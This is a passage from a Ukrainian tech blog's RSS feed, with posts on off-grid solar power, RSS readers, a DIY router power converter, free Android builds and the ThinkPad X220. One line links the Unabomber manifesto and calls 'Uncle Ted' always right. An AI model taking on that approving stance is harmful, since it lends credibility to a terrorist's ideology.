підібрали акумулятор чи зарядну станцію, яка забезпечить вас енергією на 6
годин, заряджаючись при цьому 2 години, і у вас не буде світла 12
годин, вона вам нічим не допоможе.
А якщо буде по годині на день, то й зарядитися не встигне.&lt;/p&gt;
&lt;p&gt;І далі у вас тільки три шляхи:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;стати жертвою ринку зарядних станцій і купувати
щоразу потужніші, висмоктуючи з усе менших резервів усе більше енергії;&lt;/li&gt;
&lt;li&gt;змиритися з регулярною нестачею електроенергії;&lt;/li&gt;
&lt;li&gt;або відокремитись від цієї системи, полегшивши життя і їй, і собі.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Іншими словами&amp;hellip;&lt;/p&gt;
&lt;h2 id=&#34;треба-проводи-повиривати&#34;&gt;Треба проводи повиривати&lt;/h2&gt;
&lt;p&gt;Якщо ви слідкуєте за цим блогом, то напевно ви проти пропрієтарних програм і
SaaS, бо незалежність і самодостатність для вас важливі. Так чому ж тоді сидіти
на голці центральної електрики?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;У мене лібребутнутий синкпед там парабола лінукс я захожу всюди через тор
браузер і не залежу від корпорацій, та проводок обрізали я не можу зайти в
даркнет купити децентралізовану анонімну крипту монеро бо ноутбук не
зарядився&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Тому я кажу, що треба повиривати проводи, і це може
виявлятись у двох формах.&lt;/p&gt;
&lt;h3 id=&#34;генерувати-електроенергію&#34;&gt;Генерувати електроенергію&lt;/h3&gt;
&lt;p&gt;Насправді власники зарядних станцій уже наполовину це реалізували, бо в них є
найдорожча частина будь-якої автономної електростанції &amp;mdash; акумулятори.
Лишилось тільки заряджати їх не від розетки.&lt;/p&gt;
&lt;p&gt;Сонце, вітер, тепло, качок на велогенераторі &amp;mdash; не залежно від методу
виробництва, ви будете мати свою незалежну систему. Щоб вона була справді
надійною, краще комбінувати методи генерації. Тільки паливні генератори фігові,
бо залежать від палива, яке ви самі добути не можете й мусите купувати.&lt;/p&gt;
&lt;p&gt;Це може бути навіть ефективніше, ніж живитись від мережі
електронедохарчування, бо що сонячні панелі, що мотори вітряків чи інших
розкруточних генераторів виробляють постійний струм, тож ми уникаємо
й першої втрати енергії &amp;mdash; від перетворення змінного струму на постійний.
У деяких випадках (наприклад, дуйчик на DC моторі) можна взагалі обійтись без
акумулятора та будь-яких перетворень (до речі з сонячною панеллю дуйчик прекрасно
поєднується, бо навряд він вам потрібен, коли сонце не пече).&lt;/p&gt;
&lt;p&gt;Як бонус ви можете продавати електроенергію сусідам або зливати в мережу за
зеленим тарифом. Як бонус, а не основна мотивація, як це описують установщики
сонячних електростанцій та інших альтушно-енергетичних рішень, які кажуть,
що купивши їх оверпрайснуті товари й послуги ви зекономите.
Звісно, це замануха &amp;mdash; енергія з альтернативних джерел завжди дорожча за мережеву
(принаймні поки ціна на неї не шурнула в небо). Але це коли мережева енергія є.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;А в нас нестандартна ситуація, і відокремитись від електромережі дешевше,
ніж пристосовуватися до її проблем. Наприклад, зарядна станція на 2 кіловати
коштує близько 60-120 тисяч. За такі гроші реально зібрати СЕС потужністю більше 3 КВт,
залежно від того, де ви отримуєте компоненти.&lt;/strong&gt; Та, я раджу збирати самостійно,
бо це нескладно та дешевше, ніж замовляти в якоїсь компанії (крім того, що вони
всі вже зайняті бо тема трендова), і ви зможете обслуговувати свою систему далі
самостійно. Та для цього треба трохи повчитися.&lt;/p&gt;
&lt;p&gt;Якщо ви хочете побудувати СЕС, то ось корисні ресурси:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=eCUnYCtcnaI&#34;&gt;https://www.youtube.com/watch?v=eCUnYCtcnaI&lt;/a&gt; гарне відео для схоплення загальної картини&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://cleversolarpower.com/&#34;&gt;https://cleversolarpower.com/&lt;/a&gt; тут є класна книжка&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://solar.lowtechmagazine.com/2023/12/how-to-build-a-small-solar-power-system/&#34;&gt;https://solar.lowtechmagazine.com/2023/12/how-to-build-a-small-solar-power-system/&lt;/a&gt; а це кльовий посібник з кльового журналу&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://re.jrc.ec.europa.eu/pvg_tools/en/&#34;&gt;https://re.jrc.ec.europa.eu/pvg_tools/en/&lt;/a&gt; калькулятор зручності&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://globalsolaratlas.info/&#34;&gt;https://globalsolaratlas.info/&lt;/a&gt; мапа опромінення&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Але не зациклюйтесь на сонці, бо методів дійсно купа!&lt;/p&gt;
&lt;h3 id=&#34;використовувати-електронезалежні-пристрої&#34;&gt;Використовувати електронезалежні пристрої&lt;/h3&gt;
&lt;p&gt;Ну це вже справжнє обривання проводів!&lt;/p&gt;
&lt;p&gt;Тисячоліттями
люди обходились без електрики, а зараз усе під неї переробили й мучаться,
намагаючись підтримувати непідтримуване.&lt;/p&gt;
&lt;h4 id=&#34;розумний-вайфай-чайник-проти-чайника-зі-свистком&#34;&gt;Розумний вайфай-чайник проти чайника зі свистком&lt;/h4&gt;
&lt;p&gt;Традиційний чайник &amp;mdash; це звичайний шмат металу. Його можна й на багатті в лісі
розігріти, а свисток сповістить вас і всіх навколо, що він закипів навіть без
інтернету.&lt;/p&gt;
&lt;p&gt;Вайфай-електрочайник без електрики &amp;mdash; просто баняк, а без інтернету ви навіть
не помітите, як вода в ньому вистигне.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Але ж електрочайник ефективніший!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;По-перше, ні &amp;mdash; електрика в ньому з&amp;rsquo;являється не магічним чином, а генерується
на різних станціях із різною ефективністю, а якщо ви ще й перейшли на альтушну
енергію, це досить дороге її використання. По-друге, так і шо, як ти не можеш
його використати?&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://miliukhin.xyz/unabomber.pdf&#34;&gt;Дядько Тед&lt;/a&gt; завжди був правий.
Все зводиться до якнайбільшого віддалення від системи.
Чим менше ви від неї залежите, тим легше вам, коли ця система розвалюється.&lt;/p&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;https://miliukhin.xyz/img/you_can_be_happy.webp&#34;&gt;&lt;/figure&gt;

</description>
	</item>
	
	<item>
		<title>Я читаю всіх чувачків в RSS і вам раджу</title>
		<link>https://miliukhin.xyz/articles/based_rss/</link>
		<pubDate>Sun, 28 Jul 2024 00:00:00 +0000</pubDate>
		
		<guid>https://miliukhin.xyz/articles/based_rss/</guid>
		<description>&lt;h2 id=&#34;що-таке-rss-і-чом-це-зручно&#34;&gt;Що таке RSS і чом це зручно?&lt;/h2&gt;
&lt;p&gt;Навіть якщо ви не знаєте, що це, ви напевно бачили значок RSS:&lt;/p&gt;

&lt;figure
	class=&#34;center&#34; style=&#34;max-width: 200px;&#34;&gt;
		&lt;img src=&#34;rss.webp&#34; width=&#34;200px&#34;&gt;&lt;/figure&gt;

&lt;p&gt;RSS &amp;mdash; це формат, який дозволяє мати стрічки на кшталт таких, як у соцмережах,
але для будь-яких сайтів, і всі в одному місці. Хоча насправді RSS з&amp;rsquo;явився
раніше за соцмережі й колись усі отримували новини з вебсайтів саме так.&lt;/p&gt;
&lt;p&gt;Це дуже зручно! Завдяки RSS я читаю всі блоги та новини, дивлюся відео та смішнявки за допомогою єдиної програми без реклами, постів, які мене не цікавлять, та іншого шуму, і взагалі не запускаю браузер, чи, не дай Боже, пропікані клієнти асоціальних мереж:&lt;/p&gt;

&lt;figure
	class=&#34;center&#34;&gt;
		&lt;img src=&#34;reader.webp&#34;&gt;&lt;figcaption&gt;Так, тут можна дивитися відео! За допомогою улюбленого плеєра&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Я користуюсь &lt;a href=&#34;https://newsboat.org/&#34;&gt;newsboat&lt;/a&gt;. Як на мене, це найзручніша
читалка. Особливо, якщо ви любите прості проги для терміналів (хоча може навіть
якщо не любите, ця програма змусить полюбити).
Але їх маса, тож кожен знайде собі щось до душі. І, звісно, не тільки
для терміналів. Ось так виглядає &lt;a href=&#34;https://github.com/martinrotter/rssguard&#34;&gt;RssGuard&lt;/a&gt;:&lt;/p&gt;

&lt;figure
	class=&#34;center&#34;&gt;
		&lt;img src=&#34;rssguard.webp&#34;&gt;&lt;/figure&gt;

&lt;p&gt;Причому я маю доступ до всіх цих новин без інтернету, бо стрічки RSS,
завантажені з вебсайтів, зберігаються локально.&lt;/p&gt;
&lt;p&gt;Ще можна шукати текст у всіх завантажених стрічках RSS. Тож
RSS вирішує, окрім проблеми отримання інфи з різних сайтів, іще одну серйозну проблему
сучасного вебу &amp;mdash; пошук.&lt;/p&gt;
&lt;p&gt;Реально, до користування RSS я думав про запуск персонального пошуковика (в який ви самі додаєте сайти, у яких хочете шукати),
але я зрозумів, що я вже його маю. Він у newsboat!&lt;/p&gt;
&lt;h2 id=&#34;як-користуватись&#34;&gt;Як користуватись?&lt;/h2&gt;
&lt;p&gt;Дуже просто. Додайте посилання на стрічки RSS сайтів, які ви хочете
читати (наприклад, &lt;a href=&#34;https://miliukhin.xyz/index.xml&#34;&gt;мого&lt;/a&gt; 😉) у вашу читалку стрічок RSS.
Вона буде їх оновлювати за вашим велінням, чи сама час від часу, це вже залежить від програми.&lt;/p&gt;
&lt;h3 id=&#34;де-шукати-стрічки&#34;&gt;Де шукати стрічки?&lt;/h3&gt;
&lt;p&gt;Нормальні сайти тримають посилання на свої стрічки RSS на видному місці, щоб їх
було легко знайти:&lt;/p&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;link.webp&#34;&gt;&lt;/figure&gt;

&lt;p&gt;Але на &amp;ldquo;сучасних&amp;rdquo; модних сайтах такого не побачиш.&lt;/p&gt;
&lt;p&gt;Маркетологи пронюхали, що RSS занадто незалежно та зручно, та
вирішили, що буде ефективніше тримати людей на своїй платформі, якщо забрати
від них стрічки RSS і примусти щоразу за новеньким ходити на сайт чи їх застосунок для мобіл. YouTube, наприклад, не показує посилань на свої RSS-ки.
Але вони є й за кожним каналом я стежу саме через RSS.&lt;/p&gt;
&lt;p&gt;Розширення для браузера &lt;a href=&#34;https://github.com/shevabam/get-rss-feed-url-extension&#34;&gt;Get RSS Feed URL&lt;/a&gt; робить пошук
заритих стрічок RSS дуже швидким і зручним, але воно залежить від браузера.
Тому я написав скрипт оболонки, який робить те саме й водночас додає стрічку до читалки, і забіндив його виконання на скорочення клавіш.
Ви можете скачати його тут: &lt;a href=&#34;https://github.com/miliukhin/dots/blob/master/.local/bin/rssget&#34;&gt;https://github.com/miliukhin/dots/blob/master/.local/bin/rssget&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;неповні-чи-відсутні-стрічки&#34;&gt;Неповні чи відсутні стрічки&lt;/h3&gt;
&lt;p&gt;Деякі сайти лохи, бо надають неповні статті у стрічках. Це
незручно, бо щоб прочитати повністю, треба лізти на сайт. На щастя, є
&lt;a href=&#34;https://github.com/heussd/fivefilters-full-text-rss-docker&#34;&gt;full-text-rss&lt;/a&gt;, яка створює повні стрічки.&lt;/p&gt;
&lt;p&gt;Ви можете запустити його в докері ось так, і вже за секунди мати повні
стрічки з сайтів, які надають огризки:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;docker run -d &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;--name&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;full-test-rss &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;-p 50000:80 &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;--restart always &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;heussd/fivefilters-full-text-rss:latest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;А деякі сайти настільки лохи, що взагалі не мають стрічок RSS. Та ми можемо дістати новини і з них,
використовуючи, &lt;a href=&#34;https://rss-bridge.org/bridge01/&#34;&gt;RSS Bridge&lt;/a&gt;. Так я читаю злотелеграм та екствітер.&lt;/p&gt;
&lt;p&gt;Я цю статтю в лісі написав.&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Скачать Кабель Для знеЖИВЛЕННЯ РОУТЕРА 🤯🤯🤯</title>
		<link>https://miliukhin.xyz/articles/router_cable/</link>
		<pubDate>Fri, 12 Jul 2024 13:18:13 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/articles/router_cable/</guid>
		<description>&lt;p&gt;Кабелі для живлення роутера &amp;mdash; кидалово.&lt;/p&gt;
&lt;p&gt;Я згадав про них, бо друг недавно мав можливість такий супердевайс
протестувати. Більше не має, бо кабель згорів за тиждень. Та друг не
простий, а крутий: у нього є плати-перетворювачі напруги. А ті, хто не знає про них, стає в результаті жертвою отакого китайського пшика.&lt;/p&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;pogorel.jpg&#34;&gt;&lt;figcaption&gt;Погорілий перетворювач із китайського кабеля&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Рішення проблеми просте: &lt;strong&gt;перетворювач напруги + кабель + USB штекер&lt;/strong&gt; (хоча
деякі продаються з уже припаяними) &lt;strong&gt;і людина з паяльником&lt;/strong&gt;. Ізоляція за
бажанням. Як скласти таку штучку інструкцій є купа, та я трошки опишу.&lt;/p&gt;
&lt;p&gt;На роутері та його блоці живлення зазвичай написано, які напруга та струм йому
потрібні, у крайньому разі можна й мультиметром поміряти. Конкретно в цьому
випадку це підвищувальний перетворювач із 5 (USB-вихід павербанка) до 9 вольт.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Краще брати перетворювач із трохи вищим максимальним струмом, ніж буде через нього йти, щоб він сильно не грівся&lt;/em&gt;. Але взагалі головне, щоб не меншим!&lt;/p&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;comp.jpg&#34;&gt;&lt;figcaption&gt;Новий перетворювач на місці жареного лоха&lt;/figcaption&gt;&lt;/figure&gt;


&lt;figure
	&gt;
		&lt;img src=&#34;fin.jpg&#34;&gt;&lt;figcaption&gt;Використана плата mt3608 дозволяє регулювати напругу, тому розумно зроблена дірка, щоб її підкручувати&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Сам перетворювач недорогий (ця плата до
30 гривень навіть у нас коштує, що вже казати за інші місця покупки, а чудо-кабелі я бачив і по 400), а дроти з
будь-якого непотрібного пристрою можна легко дістати.&lt;/p&gt;
&lt;p&gt;Узагалі перетворювачі напруги &amp;mdash; дуже зручні штуки, тож варто їх завжди мати
&amp;mdash; що знижувальні, що підвищувальні. Ніколи не знаєш, коли знадобляться!
Наприклад, за допомогою знижувального перетворювача можна живити той самий
роутер від 12-вольтової чи 24-вольтової батареї (перетворювачів зі вхідною
напругою вище 40 В я не пригадую, хоча мабуть є. Регульовані прикольні, бо
можна підлаштовувати за потреби.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ПЛЮС І МІНУС НЕ ПЛУТАТИ! бо згорить роутер.&lt;/strong&gt;&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Виженіть китайців зі смартфона, ЦЕ ВАЖЛИВО!</title>
		<link>https://miliukhin.xyz/articles/libroid/</link>
		<pubDate>Thu, 09 May 2024 20:48:52 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/articles/libroid/</guid>
		<description>&lt;h2 id=&#34;я-серйозно&#34;&gt;Я серйозно!&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Та шо тобі китайці зробили?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Та нічого! Поки&amp;hellip; Я не тільки про китайців! І не тільки про смартфони! Але це найбільш актуально, тому
виженіть китайців зі смартфона в першу чергу!&lt;/p&gt;
&lt;p&gt;Я вже давно мав це написати, але тільки-но руки дійшли. З цієї ж причини я
встановив OpenWrt на свій роутер, і зараз укотре підтверджу, чому треба
використовувати &lt;strong&gt;тільки &lt;a href=&#34;https://www.gnu.org/philosophy/free-sw.uk.html&#34;&gt;вільні
програми&lt;/a&gt;&lt;/strong&gt; й чому &lt;em&gt;&lt;strong&gt;вам варто
встановити нормальну операційку на свій смартфон&lt;/strong&gt;&lt;/em&gt;, якщо ви ще цього не
зробили.&lt;/p&gt;
&lt;h2 id=&#34;є-телефон-але-є-нюанс-заблокований&#34;&gt;Є телефон, але є нюанс! Заблокований!&lt;/h2&gt;
&lt;p&gt;Є один випадок, який гарно ілюструє те, про що я зараз пишу.
Про це знімав відео Луїс Росман,
раджу подивитись, але тут коротенько переповім, хоча раджу переглянути!&lt;/p&gt;
&lt;iframe src=&#34;https://www.youtube.com/embed/Ln4rsxWq3WM&#34;
        loading=&#34;lazy&#34;
        sandbox=&#34;allow-same-origin allow-scripts allow-popups&#34;
        allowfullscreen frameborder=&#34;0&#34;
        title=&#34;Embedded Video&#34;&gt;
&lt;/iframe&gt;

&lt;p&gt;У Мексиці багато хто купує телефони з сірих ринків. Ні, &lt;em&gt;не крадені&lt;/em&gt;, а
просто перепродані з інших регіонів, можна сказати паралельно імпортовані. І
щоб це побороти (о Боже, наш телефон неофіційно купили, ЖЕСТЬ) Motorola,
Samsung та інші компанії почали віддалено блокувати ці девайси.&lt;/p&gt;
&lt;p&gt;Блокувати повністю, тобто &lt;em&gt;все, що можна зробити з пристроєм після цього &amp;mdash; це увімкнути&lt;/em&gt;, щоб побачити&amp;hellip;&lt;/p&gt;

&lt;figure
	 style=&#34;max-width: 400px;&#34;&gt;
		&lt;img src=&#34;samlox.png&#34; width=&#34;400px&#34; alt=&#34;Сповіщення від Samsung про блокування смартфона&#34;&gt;&lt;figcaption&gt;Мааа, мій телефон з вірусом без вірусів!&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;Чи хочеться вам, щоб у найменш підходящий момент ваш смартфон різко став не
вашим?&lt;/strong&gt; Не тому що вкрали  (хоча це дійсно крадіжка) чи зламався, а по
приколу. Мені не дуже хочеться. &lt;strong&gt;А це можуть зробити всі виробники смартфонів,
поки ви сидите на їх пропрієтарній операційній системі!&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&#34;тактичне-блокування-телефонів&#34;&gt;Тактичне блокування телефонів&lt;/h2&gt;
&lt;p&gt;Влада Мексики покарала ці компанії за такі методи, ну і туда їх, але не думаю,
що вона так само зможе насварити китайські компанії, якщо вони виконуватимуть
наказ влади Китаю.&lt;/p&gt;
&lt;p&gt;Пофантазуємо, а може спрогнозуємо? Якщо Китай буде валитись зі США, то йому
дуже зручно буде віддалено &lt;em&gt;відімкнути всі пристрої китайських вендорів у
штатах, легким рухом завдавши шаленої шкоди комунікаціям&lt;/em&gt;. А якщо вони просто з
комерційних інтересів захочуть це зробити зі всіма смартфонами, і сказати
просто: &amp;ldquo;Ану давайте нам гроші за розблокування&amp;rdquo;? Хто знає, що з цього більш
імовірне?&lt;/p&gt;
&lt;p&gt;Коротше, у стресовій ситуації останнє, що ви хочете відчути &amp;mdash; втрата зв&amp;rsquo;язку,
а саме її, як бачимо, дуже легко спричинити за потреби.&lt;/p&gt;
&lt;h2 id=&#34;я-не-хочу-собі-такого&#34;&gt;Я не хочу собі такого&lt;/h2&gt;
&lt;p&gt;Мені не потрібна &lt;em&gt;низька ймовірність&lt;/em&gt; того, що мій телефон чи будь-яка інша моя
власність може містити бекдор. &lt;em&gt;Мені потрібна її відсутність&lt;/em&gt;. Я не хочу
залежати ні від кого, і особливо від тих, хто може так підло мене обмежити.
Тому я використовую тільки вільне програмне забезпечення, і єдине, що лишилося
звільнити &amp;mdash; це смартфон. Бажаю вам теж звільнити свій смартфон. І зразу бажаю
вам дивитись, як!&lt;/p&gt;
&lt;h2 id=&#34;як-вигнати-китайців-звільнити-телефон&#34;&gt;Як &lt;del&gt;вигнати китайців&lt;/del&gt; звільнити телефон?&lt;/h2&gt;
&lt;h3 id=&#34;поставити-linux-&#34;&gt;Поставити Linux? 🤔&lt;/h3&gt;
&lt;p&gt;Можна поставити на телефон Linux, але це для задротів, хакерів, і, мабуть,
зручніше в користуванні, але не факт. Або можна купити телефон із лінуксом на
борту. Якщо хочете цим побавитись, то я вас не затримую, але можна просто
&lt;strong&gt;встановити вільний андроїд&lt;/strong&gt;. Зрештою, Android &amp;mdash; теж Linux!&lt;/p&gt;
&lt;h3 id=&#34;поставити-android-&#34;&gt;Поставити Android 😎&lt;/h3&gt;
&lt;p&gt;Якщо ви раптом не знали, то Android &amp;mdash; вільна операційна система,
але кожен виробник смартфонів пакує свою пропрієтарну версію з
різних причин. Та є багато вільних збірок, які поважають користувачів,
і кожна з них має свої особливості.&lt;/p&gt;
&lt;p&gt;Ось кілька:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://grapheneos.org/&#34;&gt;https://grapheneos.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://lineageos.org/&#34;&gt;https://lineageos.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://calyxos.org/&#34;&gt;https://calyxos.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.replicant.us/&#34;&gt;https://www.replicant.us/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Очевидно, це не всі, але що згадав, те написав&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Єдина спільна їх вада &amp;mdash; підтримка пристроїв. Оскільки ці системи зазвичай
розробляють волонтерно, а не за гроші великих товстих компаній, деякі смартфони
можуть поки не бути підтриманими. Але як одна збірка не має випусків для
конкретної моделі, то інша має, тому під свій телефон ви, скоріш за все,
знайдете збірку. А якщо ні, то чому б не зібрати самостійно😉? Сила вільних
програм!&lt;/p&gt;
&lt;p&gt;Отже, залишилось обрати збірку, ознайомитись із інструкцією з установлення та
поставити її, і після цього ваш смартфон стане дійсно вашим! Не прощаюсь!&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>ThinkPad x220 проти сучасного ноутбука для ГЕЙМЕРІВ (ThinkPad — Імба)</title>
		<link>https://miliukhin.xyz/articles/x220_vs_gaymers/</link>
		<pubDate>Tue, 19 Mar 2024 19:15:52 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/articles/x220_vs_gaymers/</guid>
		<description>&lt;p&gt;Перед вами два ноутбуки. Зліва &amp;mdash; сучасний ноутбук для геймерів, а справа &amp;mdash; ThinkPad X220 2011-го року випуску. Ви можете подумати, що лівий ноутбук кращий. Але насправді крутіший ноутбук справа, а той, що зліва, просто потужніший.&lt;/p&gt;
&lt;p&gt;Ці ноутбуки насправді в одній ціновій категорії (X220 теж колись коштував штуку баксів), просто в різному часовому просторі, тому порівняймо їх зручність й подивімося, що не так із сучасними ноутбуками!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://miliukhin.xyz/articles/x220_vs_gaymers/laptops.png&#34; alt=&#34;Зліва асус справа синкпед&#34;&gt;&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Критерій&lt;/th&gt;
          &lt;th&gt;Lenovo ThinkPad x220&lt;/th&gt;
          &lt;th&gt;Asus ROG G513&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;Простота ремонту&lt;/td&gt;
          &lt;td&gt;Елементарно. Витягти накопичувач &amp;mdash; відкрутити один гвинтик, зняти клавіатуру &amp;mdash; два&lt;/td&gt;
          &lt;td&gt;Можливо (Все-таки не Apple), але незручно&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Підсвітка клавіатури&lt;/td&gt;
          &lt;td&gt;ThinkLight! Цей ліхтарик на вершечку екрана і клавіатуру підсвітить, і настільну лампу замінить. Це настільки зручно, що backlight хочеться заборонити&lt;/td&gt;
          &lt;td&gt;Дурна сучасна підсвітка знизу (ЗАТЕ ВЕСЕЛКА)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Потужність&lt;/td&gt;
          &lt;td&gt;Замало для розробки товстих програм&lt;/td&gt;
          &lt;td&gt;Відкидає думки про оптимізацію, через що розроблені на ньому програми будуть мучити старші комп&amp;rsquo;ютери, якщо взагалі там запустяться&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Звук&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
          &lt;td&gt;Старі галімі динаміки&lt;/td&gt;
          &lt;td&gt;Нові галімі динаміки&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Портативність&lt;/td&gt;
          &lt;td&gt;Дуже зручний та практичний&lt;/td&gt;
          &lt;td&gt;Неповороткий, але для геймерів піде&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Довговічність&lt;/td&gt;
          &lt;td&gt;Може вирубити когось і залишатися функціональним (вже стільки падав, що я забув, але чудово працює)&lt;/td&gt;
          &lt;td&gt;Тендітний! Часте переміщення кришки вбиває дисплейний кабель (або він був поганим)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Батарея&lt;/td&gt;
          &lt;td&gt;Оновлювана й розширювана, витягається, тож можна швидко замінити&lt;/td&gt;
          &lt;td&gt;Зніміть задню кришку, щоб витягти батарею, але хоча б можна!&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Думаю цього вже достатньо, щоб зрозуміти, що ThinkPad-ом набагато зручніше користуватись у довгостроковій перспективі, але це ще не все!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://miliukhin.xyz/articles/x220_vs_gaymers/ouch.png&#34; alt=&#34;ouch png&#34;&gt;
Ось, до речі, як можна залатати таку пробоїну:&lt;/p&gt;
&lt;iframe src=&#34;https://www.youtube.com/embed/-fH-_4aoiMA&#34;
        loading=&#34;lazy&#34;
        sandbox=&#34;allow-same-origin allow-scripts allow-popups&#34;
        allowfullscreen frameborder=&#34;0&#34;
        title=&#34;Embedded Video&#34;&gt;
&lt;/iframe&gt;

&lt;h2 id=&#34;окремі-переваги-x220&#34;&gt;Окремі переваги x220&lt;/h2&gt;
&lt;h3 id=&#34;trackpoint&#34;&gt;TrackPoint&lt;/h3&gt;
&lt;p&gt;Славнозвісна піпка-джойстик посередині клавіатури для зручного наведення курсора.
За день його використання ви будете дивитися на тачпади з відразою, а якщо
ви любите Vim і всюди його пхаєте, то цей елемент дозволить вам узагалі жити без мишки!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://miliukhin.xyz/articles/x220_vs_gaymers/tp.png&#34; alt=&#34;tp png&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;вільна-прошивка&#34;&gt;Вільна прошивка&lt;/h3&gt;
&lt;p&gt;Можна встановити замість фірмового біоса Coreboot, і, можливо, Libreboot.
Великий плюс, якщо ви цінуєте свою свободу. &lt;strong&gt;А ще запускатись буде швидше!&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&#34;док-станція&#34;&gt;Док-станція&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;ШОООООООО?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&#34;https://miliukhin.xyz/articles/x220_vs_gaymers/ultrabase_dithered.png&#34; alt=&#34;ultrabase_dithered png&#34;&gt;&lt;/p&gt;
&lt;p&gt;UltraBase! Як називається, так і є!&lt;/p&gt;
&lt;p&gt;Можна увіткнути в неї всі свої USB-штуки, монітор (нема HDMI, але є VGA та
DisplayPort), аудіопристрої, кабель Ethernet, накопичувач (SATA жорсткий диск
чи SSD) замість читача CD, а також, звісно, кабель живлення та зручно під&amp;rsquo;єднувати до цього всього ноутбук
&lt;em&gt;просто поставивши його в док-станцію&lt;/em&gt;. А ще закрити на ключ (чи що, не робив
такого, ключа не маю)&lt;/p&gt;
&lt;h3 id=&#34;зручність-та-стиль&#34;&gt;Зручність та Стиль&lt;/h3&gt;
&lt;p&gt;Цей ноутбук дуже зручний не тільки завдяки клавіатурі, а ще й тому, що її
оточує. Кожен елемент корпусу майстерно заокруглений, також кут нахилу екрана
можна змінювати до ~180 градусів, на відміну від згаданого вище ноута Asus, де
дисплей можна нахилити тільки трошки, а далі не лізе. Тому з x220 завжди
